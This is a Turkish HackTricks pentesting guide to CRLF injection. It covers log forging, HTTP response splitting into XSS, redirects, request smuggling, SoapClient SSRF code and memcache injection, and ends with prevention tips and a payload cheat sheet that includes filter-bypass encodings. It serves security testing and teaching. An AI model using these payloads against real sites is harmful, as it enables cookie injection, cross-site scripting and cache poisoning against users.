hacktricks/pentesting-web/crlf-0d-0a.md

17 KiB
Raw Blame History

CRLF (%0D%0A) Enjeksiyonu

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Ödül avcılığı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan premium bir ödül avcılığı platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

CRLF

Carriage Return (CR) ve Line Feed (LF), toplu olarak CRLF olarak bilinen özel karakter dizileridir. HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılır. Web sunucuları ve tarayıcılar, HTTP başlıklarını ve yanıtın gövdesini ayırt etmek için CRLF'yi kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türlerinde evrensel olarak HTTP/1.1 iletişiminde kullanılır.

CRLF Enjeksiyonu Zafiyeti

CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yönlendirir. Bu karakterler zararlı değildir ancak yanlış kullanımları HTTP yanıtı bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir.

Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu

Örnek buradan

Yönetici panelindeki bir günlük dosyasını düşünün, formatı şu şekilde takip eder: IP - Zaman - Ziyaret Edilen Yol. Tipik bir giriş şöyle görünebilir:

123.123.123.123 - 08:15 - /index.php?page=home

Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonundan yararlanabilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini uydurabilir. Örneğin, enjekte edilen bir dizi günlük girişini şu şekilde dönüştürebilir:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

İşte, %0d ve %0a CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırı sonrası, günlük yanıltıcı bir şekilde görüntülenir:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Saldırgan, kötü niyetli faaliyetlerini, sunucu ortamında genellikle güvenilen bir varlık olan localhost'un bu eylemleri gerçekleştirdiği gibi göstererek gizler. Sunucu, %0d%0a ile başlayan sorgunun bir parametre olarak yorumlar, restrictedaction parametresi ise ayrı bir giriş olarak ayrıştırılır. Manipüle edilen sorgu, meşru bir yönetici komutunu taklit eder: /index.php?page=home&restrictedaction=edit

HTTP Yanıt Bölme

ıklama

HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar ettiğinde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlık ve gövdeyi belirli bir karakter dizisi olan Taşıma Dönüşü (CR) ve Satır Beslemesi (LF) ile ayırır, genel olarak CRLF olarak adlandırılır. Bir saldırgan bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyonlar ciddi güvenlik sorunlarına, özellikle de Cross-site Scripting (XSS) sorunlarına yol açabilir.

HTTP Yanıt Bölme Aracılığıyla XSS

  1. Uygulama, X-Custom-Header: UserInput gibi özel bir başlık ayarlar.
  2. Uygulama, UserInput için değeri bir sorgu parametresinden alır, diyelim ki "user_input". Doğru giriş doğrulama ve kodlama olmayan senaryolarda, bir saldırgan CRLF dizisini ve kötü amaçlı içeriği içeren bir yük oluşturabilir.
  3. Bir saldırgan, özel olarak oluşturulmuş 'user_input' içeren bir URL oluşturur: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • Bu URL'de %0d%0a%0d%0a, CRLFCRLF'nin URL kodlanmış formudur. Sunucuyu CRLF dizisi eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar.
  1. Sunucu, saldırganın girdisini yanıt başlığında yansıtır, bu da kötü amaçlı betiğin tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanmasına neden olur.

HTTP Yanıt Bölme ile Yönlendirmeye Neden Olan Bir Örnek

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Tarayıcıya:

/%0d%0aLocation:%20http://myweb.com

Ve sunucu şu başlıkla yanıt verir:

Location: http://myweb.com

Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL Yolu İçinde

Sunucudan gelen yanıtı kontrol etmek için payload'ı URL yolunun içine gönderebilirsiniz (örnek buradan):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Daha fazla örnek için şu adresten kontrol edebilirsiniz:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP Başlık Enjeksiyonu

HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma İşareti ve Satır Sonu) enjeksiyonu aracılığıyla sömürülen bir saldırı türüdür ve saldırganlara HTTP başlıkları eklemelerine olanak tanır. Bu, XSS (Çapraz Site Komut Dosyası) filtreleri veya SOP (Aynı Köken Politikası) gibi güvenlik mekanizmalarını zayıflatarak, CSRF belirteçleri gibi hassas verilere yetkisiz erişime veya çerez ekleyerek kullanıcı oturumlarının manipüle edilmesine yol açabilir.

HTTP Başlık Enjeksiyonu Aracılığıyla CORS'un Sömürülmesi

Bir saldırgan, CORS'u (Çapraz Köken Kaynak Paylaşımı) etkinleştirmek için HTTP başlıklarını enjekte edebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü amaçlı kökenlerden gelen betiklerin farklı bir kökenden kaynaklarla etkileşime girmesine olanak tanır ve korunan verilere potansiyel olarak erişmesine izin verir.

CRLF Aracılığıyla SSRF ve HTTP İsteği Enjeksiyonu

CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu tür bir zafiyetin belirgin bir örneği, PHP'nin SoapClient sınıfındaki zafiyettir, özellikle user_agent parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

İstek Smuggling için Başlık Enjeksiyonu

Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağa bakın.

Önemli başlıklar enjekte ederek, arka uçun ilk isteğe yanıt verdikten sonra bağlantıyı ık tutmasını sağlayabilirsiniz:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Sonrasında, ikinci bir istek belirtilebilir. Bu senaryo genellikle HTTP istek kaçırma içerir, ekstra başlıklar veya enjeksiyon sonrası sunucu tarafından eklenen gövde öğeleri çeşitli güvenlik açıklarına yol açabilir.

Sömürü:

  1. Kötü Amaçlı Önek Enjeksiyonu: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerirken kötü amaçlı bir önek belirtme işlemidir. Buna bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Tepki Kuyruğu Zehirleme için Önek Oluşturma: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturan bir önek oluşturmayı içerirken, takip eden gereksiz verilerle birleştirildiğinde. Bu, tepki kuyruğu zehirlemesini tetikleyebilir. Bir örnek:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Enjeksiyonu

Memcache, ık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Tam bilgi için orijinal yazıya bakın

Bir platform, bir HTTP isteğinden veri alıp bunu temizlemeden bir memcache sunucusuna istekler yapmak için kullandığında, bir saldırgan bu davranışı yeni memcache komutları enjekte etmek için kötüye kullanabilir.

Örneğin, orijinal keşfedilen zayıflıkta, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve bağlantı noktasını döndürmek için kullanıldı ve saldırganlar, önbelleği zehirlemek için memcache komutları enjekte edebildiler ve kurbanın ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına göndermelerini sağladılar:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

Dahası, araştırmacılar ayrıca memcache yanıtlarını desenkronize edebileceklerini ve saldırganın e-posta adresini bilmediği kullanıcılara saldırganın IP ve bağlantı noktalarını gönderebileceklerini keşfettiler:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Nasıl Önlenir

Web uygulamalarında CRLF (Taşıma Dönüşü ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir:

  1. Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır.
  2. Özel Karakterleri Kodlayın: Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma Dönüşü) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamak için ayrılmış bir işlev kullanmaya dikkat edin. Bu uygulama, CRLF enjeksiyonu olasılığını önler.
  3. Programlama Dili Güncellemesi: Web uygulamalarınızda kullanılan programlama dilini düzenli olarak güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin.

HİLE KÂĞIDI

Buradan hile kâğıdı

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Otomatik Araçlar

Kaba Kuvvet Tespit Listesi

Referanslar

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: